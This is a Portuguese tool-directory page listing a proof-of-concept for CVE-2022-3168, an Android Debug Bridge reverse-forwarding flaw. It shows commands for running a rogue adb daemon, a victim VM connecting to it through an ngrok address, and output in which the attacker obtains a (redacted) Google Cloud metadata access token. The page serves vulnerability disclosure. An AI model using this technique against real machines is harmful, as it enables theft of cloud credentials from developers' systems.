Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-3168-adb-unexpected-reverse-forwards — Código de prova de conceito para explorar falha no adb que permitia abrir conexões de rede no host para destinos arbitrários. | Kitploit
Ferramentas/GitHubGitHub/irsl/cve-2022-3168-adb-unexpected-reverse-forwards
Segurança AndroidAnálise de VulnerabilidadesExploraçãoTestes de PenetraçãoSegurança MóvelRed Teaming
GitHubirsl/cve-2022-3168-adb-unexpected-reverse-forwards

CVE-2022-3168-adb-unexpected-reverse-forwards

Código de prova de conceito para explorar falha no adb que permitia abrir conexões de rede no host para destinos arbitrários.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
31há 3 anosAinda não revisado

O recurso de tunel reverso no Android Debug Bridge (adb) era vulnerável, pois permitia que daemons adb maliciosos abrissem conexões para hosts/portas arbitrários e sockets de domínio Unix no host.

Attacker window (where the rogue daemon is running):

root@kitploit:~
$ ./adb_rogue_daemon.py

Victim window (a GCE VM in this example):

root@kitploit:~
$ adb connect serverip:5556
connected to 8.tcp.ngrok.io:19076

Attacker window:

root@kitploit:~
...
Wooho, we got response for our rouge request!
b'HTTP/1.0 200 OK\r\nMetadata-Flavor: Google\r\nContent-Type: application/json\r\nDate: Thu, 04 Nov 2021 22:31:21 GMT\r\nServer: Metadata Server for VM\r\nConnection: Close\r\nContent-Length: 1049\r\nX-XSS-Protection: 0\r\nX-Frame-Options: SAMEORIGIN\r\n\r\n{"access_token":"ya29.c.KpgBFghLV[redacted].....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................'
<<< b'...................................................................................................................................................................................................................................................","expires_in":2394,"token_type":"Bearer"}CLSE\x08\x00\x00\x00\xd2\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbc\xb3\xac\xba'
b'...................................................................................................................................................................................................................................................","expires_in":2394,"token_type":"Bearer"}CLSE\x08\x00\x00\x00\xd2\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbc\xb3\xac\xba'
('....', (774778414, 774778414, 774778414, 774778414, 774778414), b'...........................................................................................................................................................................................................................","expires_in":2394,"token_type":"Bearer"}CLSE\x08\x00\x00\x00\xd2\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbc\xb3\xac\xba')

Isso foi corrigido no Platform Tools 33.0.3.

Baixar ferramenta